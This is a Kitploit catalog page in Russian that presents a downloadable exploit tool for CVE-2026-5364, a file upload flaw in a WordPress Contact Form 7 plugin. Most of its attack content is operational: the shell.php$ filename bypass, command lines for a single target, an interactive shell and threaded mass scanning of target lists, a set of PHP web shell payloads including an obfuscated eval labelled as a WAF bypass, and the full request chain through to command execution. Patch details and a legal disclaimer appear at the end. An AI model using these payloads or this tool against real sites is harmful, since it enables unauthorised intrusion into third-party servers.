Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5364 — CVE-2026-5364 — это уязвимость CVSS 8.1 (высокая) неаутентифицированной произвольной загрузки файлов в плагине Drag and Drop File Upload for Contact Form 7. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-5364
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 — это уязвимость CVSS 8.1 (высокая) неаутентифицированной произвольной загрузки файлов в плагине Drag and Drop File Upload for Contact Form 7.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-5364

CVE-2026-5364 — это уязвимость неавторизованной произвольной загрузки файлов с рейтингом CVSS 8.1 (высокий) в плагине Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Неавторизованная произвольная загрузка файлов через обход sanitize_file_name() CVSS 8.1 (высокий) | Затронуто: <= 1.1.3 | Исправлено: 1.1.4


📋 Обзор

ПолеЗначение
CVE IDCVE-2026-5364
ПлагинDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (высокий)
ВекторCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Затронуто<= 1.1.3
Исправлено1.1.4
ИсследовательThomas Sanzey
Публикация23 апреля 2026 г.

🔍 Краткое описание уязвимости

Плагин читает расширение файла до очистки sanitize_file_name(). Злоумышленник загружает файл с именем shell.php$:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← обходит чёрный список
sanitize_file_name('shell.php$')            →  'shell.php'  ← сохраняется как PHP

Цепочка из трёх независимых слабостей:

  1. Управляемый атакующим список разрешённых типов — параметр type POST'а берётся от пользователя
  2. Расширение до очистки — pathinfo() применяется к сырому имени файла
  3. Поздняя очистка — sanitize_file_name() внутри wp_unique_filename() удаляет символ $

⚙️ Установка

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Требования

  • Python 3.8+
  • Библиотека requests
  • Цель: WordPress + CF7 D&D Upload <= 1.1.3 + страница с формой CF7

🚀 Использование

Одиночная цель

root@kitploit:~
# Базовый эксплойт (команда id)
python CVE-2026-5364.py -u https://target.com

# Пользовательская команда
python CVE-2026-5364.py -u https://target.com -c "whoami"

# Интерактивная оболочка
python CVE-2026-5364.py -u https://target.com --interactive

# Другой тип оболочки
python CVE-2026-5364.py -u https://target.com --shell exec

# Подробный вывод + прокси
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Массовое сканирование

root@kitploit:~
# Сканирование с 20 потоками
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Пробовать также исправленные версии
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Сохранить результаты в файл
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Все параметры

root@kitploit:~
Цель:
  -u, --url URL         URL одиночной цели
  -l, --list FILE       Список целей (по одному URL на строку)

Эксплойт:
  -c, --cmd CMD         Команда ОС (по умолчанию: id)
  --shell TYPE          Тип веб-оболочки: basic|exec|pass|eval|info
  -i, --interactive     Открыть интерактивную оболочку
  --no-skip-patched     Пробовать также исправленные версии

Сканирование:
  -t, --threads N       Количество потоков (по умолчанию: 10)
  --timeout S           Тайм-аут в секундах (по умолчанию: 15)
  --proxy URL           Адрес прокси

Вывод:
  -o, --output FILE     Файл результата
  -v, --verbose         Подробный вывод
  --no-color            Вывод без цвета

🐚 Типы веб-оболочек

ТипПолезная нагрузкаИспользование
basic<?php system($_GET["cmd"]); ?>Общего назначения
exec<?php echo shell_exec($_GET["cmd"]); ?>Полный вывод
pass<?php passthru($_GET["cmd"]); ?>Бинарный вывод
eval<?php @eval(base64_decode($_POST["x"])); ?>Скрытый/WAF bypass
info<?php phpinfo(); ?>Информация о PHP

🔬 Технические детали

Цепочка эксплойта

root@kitploit:~
1. Обнаружение nonce
   └─ wp_localize_script() доступен каждому посетителю
      GET /contact/ → в HTML: "nonce":"abc123def4"

2. Загрузка оболочки
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← отсутствует в чёрном списке
      file=shell.php$    ← sanitize_file_name() → shell.php

3. Получение URL
   └─ Ответ: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Символы для обхода

Символы, удаляемые sanitize_file_name():

root@kitploit:~
$  %  ~  `  (пробел)

Инструмент автоматически перебирает все символы для обхода.


🛡️ Смягчающие факторы

ФакторВлияние
Apache .htaccess (Content-Disposition: attachment)Блокирует выполнение PHP
Nginx / LiteSpeed.htaccess не действует — RCE возможна
Случайное имя файла (uniqid())Неэффективно, т.к. URL возвращается в AJAX-ответе
NonceЗащита от CSRF — не аутентификация, неэффективно

🩹 Решение

Обновите плагин до версии 1.1.4 или новее.

root@kitploit:~
# Обновление через WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Исправление кода (1.1.4)

root@kitploit:~
// НЕВЕРНО (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// ВЕРНО (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// Параметр type теперь берётся из настроек администратора
$type = $this->get_admin_allowed_types($form_id);  // не из POST

⚠️ Правовое предупреждение

Данный инструмент разработан исключительно для образовательных целей и защитных исследований. Использование на неавторизованных системах запрещено и может иметь юридические последствия. Используйте только на системах, на которые у вас есть разрешение.


📄 Ссылки

  • Консультация Wordfence
  • Страница плагина на WordPress
  • NVD CVE-2026-5364
  • Документация sanitize_file_name()
Скачать инструмент